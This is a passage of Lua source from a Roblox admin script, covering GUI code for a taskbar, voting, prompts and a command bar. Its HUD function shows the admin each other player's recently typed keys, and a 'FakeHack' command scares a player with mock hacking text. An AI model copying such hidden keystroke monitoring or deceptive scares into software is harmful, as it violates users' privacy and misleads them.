  4244. local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
  4245. CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
  4246. local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
  4247. if HUDSG then
  4248. HUDSG:Destroy()
  4249. else
  4250. GUI:CreateHUD(Player)
  4251. end
  4252. end)
  4253. end
  4254. end
  4255.  
  4256. CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
  4257. if IsMoving == false then
  4258. if TaskBarShown == true then
  4259. TaskBarShown = false
  4260. IsMoving = true
  4261. TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
  4262. else
  4263. TaskBarShown = true
  4264. IsMoving = true
  4265. TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
  4266. end
  4267. end
  4268. end)
  4269.  
  4270. local function ReloadIcons()
  4271. for Num,Data in pairs(Tasks) do
  4272. Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
  4273. end
  4274. end
  4275.  
  4276. AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
  4277. local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
  4278. table.insert(Tasks, {Form, Icon})
  4279. local CanClick = true
  4280. CORE:HandleEvent(Icon, "MouseButton1Down", function()
  4281. if Form.IsActive.Value == false then
  4282. Restore:Invoke()
  4283. elseif CanClick == true then
  4284. coroutine.wrap(function()
  4285. CanClick = false
  4286. local DefPos = Form.Dragger.Position
  4287. for i = 1,15 do
  4288. Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
  4289. wait(0.05)
  4290. end
  4291. Form.Dragger.Position = DefPos
  4292. CanClick = true
  4293. end)()
  4294. end
  4295. end)
  4296. ReloadIcons()
  4297.  
  4298. Closed.Event:connect(function()
  4299. for Num,Data in pairs(Tasks) do
  4300. if Data[1] == Form then
  4301. Icon:Destroy()
  4302. table.remove(Tasks, Num)
  4303. end
  4304. end
  4305. ReloadIcons()
  4306. end)
  4307. end)
  4308. end
  4309.  
  4310. function GUI:ShowDebtStats(Player, ManualText)
  4311. local Text = ManualText
  4312. if not ManualText then
  4313. Text = "CANNOT GET STATISTICS"
  4314. local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
  4315. if RawPage then
  4316. local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
  4317. local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
  4318. Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
  4319. end
  4320. end
  4321.  
  4322. local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
  4323. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
  4324.  
  4325. return Text
  4326. end
  4327.  
  4328. function GUI:ShowCommand(Player, CommandTrigger)
  4329. if not Player then return nil end
  4330. if not CommandTrigger then return nil end
  4331.  
  4332. if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
  4333.  
  4334. local CommandKey = CommandTrigger
  4335.  
  4336. if not Commands[CommandKey] then
  4337. for CommandNames,_ in pairs(Commands) do
  4338. for _,CommandName in pairs(CommandNames) do
  4339. if CommandName == CommandKey then
  4340. CommandKey = CommandNames
  4341. end
  4342. end
  4343. end
  4344. end
  4345.  
  4346. local CommandData = Commands[CommandKey]
  4347.  
  4348. local BodyText = "No valid command has been entered"
  4349. local TitleText = "Error"
  4350. local CanExe = false
  4351. if CommandData then
  4352. local PlayerRank = RANK:GetRank(Player)
  4353. if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
  4354. if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
  4355.  
  4356. TitleText = "Command: "..CommandKey[1]
  4357. BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
  4358.  
  4359.  
  4360. Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
  4361.  
  4362.  
  4363. Description: ]]..CommandData[2]..[[
  4364.  
  4365.  
  4366. Arguments: ]]..CommandData[3]..[[
  4367.  
  4368.  
  4369. Minimum rank needed: ]]..CommandData[4]..[[
  4370.  
  4371.  
  4372. Fun command: ]]..STRING:BoolString(CommandData[5])..[[
  4373.  
  4374.  
  4375. Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
  4376.  
  4377.  
  4378. Http Command ]]..STRING:BoolString(CommandData.Http)
  4379. end
  4380.  
  4381. GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
  4382. end
  4383.  
  4384. function GUI:CreateHUD(Speaker)
  4385. if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
  4386.  
  4387. local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
  4388. if SG then SG:Destroy() end
  4389. SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
  4390.  
  4391. local function AddHUD(Player, Char)
  4392. if not Char or not Char:FindFirstChild("Head") then return nil end
  4393.  
  4394. local Rank = RANK:GetRank(Player)
  4395. local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
  4396. local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
  4397. local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
  4398. local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
  4399. local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
  4400. coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
  4401. InfoLabel.Text = "Name: "..Player.Name..[[
  4402. Rank: ]]..RANK:GetRank(Player)..[[
  4403. Age: ]]..STRING:FindAge(Player.AccountAge)
  4404. if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
  4405. InfoLabel.Text = InfoLabel.Text..[[
  4406. Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
  4407. end
  4408. if LastKeys[Player.UserId] then
  4409. local Keys = ""
  4410. local KeyLog = {}
  4411. for _,KeyData in pairs(LastKeys[Player.UserId]) do
  4412. table.insert(KeyLog, KeyData[1])
  4413. if KeyData[2] == 8 then
  4414. Keys = string.sub(Keys, 1, #Keys - 1)
  4415. elseif KeyData[2] == 13 then
  4416. Keys = Keys.." "
  4417. else
  4418. Keys = Keys..string.char(KeyData[2])
  4419. end
  4420. end
  4421. KeyLabel.Text = table.concat(KeyLog, "\n")
  4422. KeyOutput.Text = Keys
  4423. end
  4424. HUD.Image = "rbxassetid://"..RankHUD[Rank]
  4425. end end)()
  4426.  
  4427. local CharRev,Removing = nil,nil
  4428. CharRev = Player.CharacterRemoving:connect(function()
  4429. PlayerHUD:Destroy()
  4430. CharRev:disconnect()
  4431. Removing:disconnect()
  4432. end)
  4433. Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
  4434. PlayerHUD:Destroy()
  4435. CharRev:disconnect()
  4436. Removing:disconnect()
  4437. end end)
  4438. end
  4439.  
  4440. local function ConnectHUD(Player)
  4441. if Player ~= Speaker then
  4442. if Player.Character then
  4443. AddHUD(Player, Player.Character)
  4444. end
  4445.  
  4446. Player.CharacterAdded:connect(function(Char)
  4447. if Speaker then
  4448. AddHUD(Player, Char)
  4449. else return nil
  4450. end
  4451. end)
  4452. end
  4453. end
  4454.  
  4455. for _,Player in pairs(Server.Players:GetPlayers()) do
  4456. ConnectHUD(Player)
  4457. end
  4458.  
  4459. Server.Players.PlayerAdded:connect(ConnectHUD)
  4460. end
  4461.  
  4462. function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
  4463. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4464. local Stopped = false
  4465.  
  4466. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
  4467. Frame.Size = UDim2.new(1, 0, 1, -30)
  4468. Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
  4469.  
  4470. local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
  4471. local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
  4472. local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
  4473.  
  4474. local function AddLine(Speaker, MessageText, MessageColor)
  4475. MessageText = STRING:Defilter(MessageText)
  4476. if MessageColor == true then MessageColor = Color3.new(1,0,0) end
  4477. if not MessageColor then MessageColor = GUI:ContrastColor() end
  4478. local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
  4479. local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
  4480. local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
  4481. Bounds.Parent = Frame
  4482. end
  4483.  
  4484. local RPR = CORE:CreateRemotePropertyReader(ChatBox)
  4485.  
  4486. local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
  4487. local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
  4488. local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
  4489.  
  4490. local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
  4491. local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
  4492.  
  4493. CORE:ExecuteResource("MessagePromptHandler", Frame)
  4494.  
  4495. wait(0.1)
  4496.  
  4497. if PreAdd then
  4498. for Num,Add in pairs(PreAdd) do
  4499. AddLine(Add[1], Add[2], Add[3])
  4500. end
  4501. end
  4502.  
  4503. --[[
  4504. CORE:ExecuteResource("ChatBoxLocal", ChatBox)
  4505.  
  4506. CORE:HandleEvent(ChatBox, "MouseEnter", function()
  4507. if ChatBox.Text == "Click here or press the '-' key" then
  4508. ChatBox.Text = ""
  4509. end
  4510. end)
  4511. ]]
  4512.  
  4513. local function FireSendPressed()
  4514. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4515. if Text ~= "" and Text ~= "Click here or press the '-' key" then
  4516. SendPressed:Fire(Text)
  4517. FakeCB.Visible = true
  4518. ClearCB:InvokeClient(Player)
  4519. end
  4520. end
  4521.  
  4522. Closed.Event:connect(function()
  4523. if Stopped == false then
  4524. Stopped = true
  4525. if SpeakerEvents then SpeakerEvents("Leave") end
  4526. end
  4527. end)
  4528.  
  4529. CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
  4530. EnterPressed.OnServerInvoke = FireSendPressed
  4531. AddMessage.OnInvoke = AddLine
  4532.  
  4533. if SpeakerEvents then
  4534. SpeakerEvents("Join")
  4535.  
  4536. coroutine.wrap(function()
  4537. repeat wait() until not Frame or not Frame.Parent
  4538. if Stopped == false then
  4539. Stopped = true
  4540. SpeakerEvents("Leave")
  4541. end
  4542. end)()
  4543. end
  4544.  
  4545. return SendPressed, AddMessage
  4546. end
  4547.  
  4548. function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons)
  4549. if tonumber(Time) then ShowFormButtons = false end
  4550. local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
  4551. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
  4552. local Clicked = nil
  4553. local Alive = true
  4554.  
  4555. local function ClosePrompt(ButtonName)
  4556. Alive = false
  4557. Close:Invoke()
  4558. Clicked = ButtonName
  4559. end
  4560.  
  4561. for Num,Select in pairs(Buttons) do
  4562. local Name = Select
  4563. local Style = "White"
  4564. local TextColor3 = Color3.new(0,0,0)
  4565. if type(Select) == "table" then
  4566. Name = Select[1]
  4567. if Select[2] then Style = Select[2] end
  4568. if Select[3] then TextColor3 = Select[3] end
  4569. elseif type(Select) == "string" then
  4570. local Case = string.lower(Select)
  4571. if Case == "ok" then
  4572. Name = "Ok"
  4573. Style = "Primary"
  4574. TextColor3 = Color3.new(1,1,1)
  4575. elseif Case == "yes" then
  4576. Name = "Yes"
  4577. Style = "Gray"
  4578. TextColor3 = Color3.new(0,1,0)
  4579. elseif Case == "no" then
  4580. Name = "No"
  4581. Style = "Red"
  4582. TextColor3 = Color3.new(1,0,0)
  4583. end
  4584. end
  4585.  
  4586. if Style == "None" then Style = "Custom" end
  4587. if Style == "Casual" then Style = "RobloxButton" end
  4588. if Style == "Red" then Style = "RobloxButtonDefault" end
  4589. if Style == "Gray" then Style = "RobloxRoundButton" end
  4590. if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
  4591. if Style == "White" then Style = "RobloxRoundDropdownButton" end
  4592.  
  4593. local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
  4594. CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
  4595. SOUND:BindButton(Button)
  4596. end
  4597.  
  4598. if tonumber(Time) then
  4599. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  4600. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4601. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4602.  
  4603. for i = Time,0,-1 do
  4604. for ii = 1,10 do
  4605. if Alive == true then
  4606. Ticker.Text = i
  4607. wait(0.1)
  4608. else
  4609. break
  4610. end
  4611. end
  4612. end
  4613. if Alive == true then
  4614. ClosePrompt()
  4615. end
  4616. end
  4617.  
  4618. repeat wait() until Alive == false
  4619. return Clicked
  4620. end
  4621.  
  4622. function GUI:Vote(Speaker, Players, Text, Time)
  4623. if not Players or not Text or #Players <= 0 then return end
  4624.  
  4625. Text = STRING:Defilter(Text)
  4626. local Votes = {}
  4627. local Tick = 0
  4628.  
  4629. for _,Player in pairs(Players) do
  4630. local CanVote = true
  4631. if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
  4632. if CanVote == true then
  4633. coroutine.wrap(function()
  4634. local Answer = GUI:PromptMessageWithButtons(Player, "Vote", Text, nil, {"Yes", "No"}, Time)
  4635. if Answer == nil then Answer = "Unknown" end
  4636. table.insert(Votes, Answer)
  4637. end)()
  4638. end
  4639. end
  4640. repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
  4641. wait(2)
  4642. if Speaker and Speaker:FindFirstChild("PlayerGui") then
  4643. local Total = #Players
  4644. local Yes,No,Unknown = 0,0,0
  4645. for _,Vote in pairs(Votes) do
  4646. if Vote == "Yes" then Yes = Yes + 1
  4647. elseif Vote == "No" then No = No + 1
  4648. end
  4649. end
  4650. Unknown = #Players - #Votes
  4651.  
  4652. local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
  4653. local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..Text QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
  4654. local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
  4655. ]]..Yes.."/"..Total..[[
  4656. ]]..math.ceil((Yes/Total)*100).."% "
  4657. local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
  4658. ]]..No.."/"..Total..[[
  4659. ]]..math.ceil((No/Total)*100).."% "
  4660. local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
  4661. ]]..Unknown.."/"..Total..[[
  4662. ]]..math.ceil((Unknown/Total)*100).."% "
  4663. end
  4664. end
  4665.  
  4666. function GUI:LoadGui(Player, Text, InfoText)
  4667. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4668. local Dead = false
  4669.  
  4670. local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
  4671. local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
  4672. local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
  4673. local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
  4674. if InfoText then Info.Text = InfoText end
  4675.  
  4676. local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
  4677. local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
  4678.  
  4679. CloseGui.OnInvoke = function()
  4680. Close:Invoke()
  4681. Dead = true
  4682. end
  4683. AddInfo.OnInvoke = function(AddText)
  4684. Info.Text = AddText
  4685. end
  4686.  
  4687. coroutine.wrap(function()
  4688. for i = 0,math.huge,3 do
  4689. if Dead == false and Frame then
  4690. WaitIcon.Rotation = i
  4691. wait()
  4692. else
  4693. break
  4694. end
  4695. end
  4696. end)()
  4697.  
  4698. coroutine.wrap(function()
  4699. while Dead == false and Frame do
  4700. wait(0.5)
  4701. LoadLabel.Text = Text.."."
  4702. wait(0.5)
  4703. LoadLabel.Text = Text..".."
  4704. wait(0.5)
  4705. LoadLabel.Text = Text.."..."
  4706. wait(0.5)
  4707. LoadLabel.Text = Text..".."
  4708. wait(0.5)
  4709. LoadLabel.Text = Text.."."
  4710. wait(0.5)
  4711. LoadLabel.Text = Text
  4712. end
  4713. end)()
  4714.  
  4715. wait(1)
  4716.  
  4717. return CloseGui, AddInfo
  4718. end
  4719.  
  4720. function GUI:FakeHack(Player) coroutine.wrap(function()
  4721. if not Player or not Player:FindFirstChild("PlayerGui") then return end
  4722. local FakeText = [[
  4723. >SHELL: BEGIN
  4724. >RUNCODE:
  4725. return {
  4726. local Hack = {"Account", "Tix", "Robux"};
  4727. function Start(Type, Inject, Scan)
  4728. if not Inject then Inject = "In-Game" end
  4729. return {Type, Inject, Scan}
  4730. end
  4731. for Exe,Exploit in pairs(Hack) do
  4732. local IP = Start("In-Game",Exploit,
  4733. BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
  4734. {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
  4735. )
  4736. Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
  4737. for i = 1,#Injection[2] do
  4738. Log("PlayerData", "ConnectHost", "PLAYERNAME")
  4739. end
  4740. local PlayerProxy = newproxy(true)
  4741. setmetatable(PlayerProxy,Injection[3],{
  4742. __index = function(StealData, ...) local Data = unpack(...)
  4743. return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
  4744. end;
  4745. })
  4746. end
  4747. Log("HACKED HOST: PLAYERNAME")
  4748. }
  4749. >HACKED HOST: PLAYERNAME
  4750.  
  4751. ]]
  4752. local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
  4753. if SG then SG:Destroy() end
  4754. SG = Instance.new("ScreenGui", Player.PlayerGui)
  4755. SG.Name = "MML Hack Gui"
  4756. local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
  4757. local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
  4758. local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
  4759. for i = 1,#FakeText do
  4760. HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
  4761. if math.random(1,5) == 1 then
  4762. wait()
  4763. end
  4764. end
  4765. HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
  4766. wait(3)
  4767. HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
  4768. fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
  4769. X.Visible = true
  4770. end)() end
  4771.  
  4772. function GUI:CommandBar(Player)
  4773. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4774.  
  4775. local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
  4776. local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
  4777. local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
  4778. local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
  4779.  
  4780. local _,Rank = RANK:GetRank(Player)
  4781. local UsableCommands = {}
  4782. for CommandNames,Data in pairs(Commands) do
  4783. if not Data.Hidden then
  4784. if RANK:ConvertRank(Data[4]) <= Rank then
  4785. for _,Command in pairs(CommandNames) do
  4786. table.insert(UsableCommands, {Command, Data[3]})
  4787. end
  4788. end
  4789. end
  4790. end
  4791.  
  4792. local RPR = CORE:CreateRemotePropertyReader(CommandBox)
  4793.  
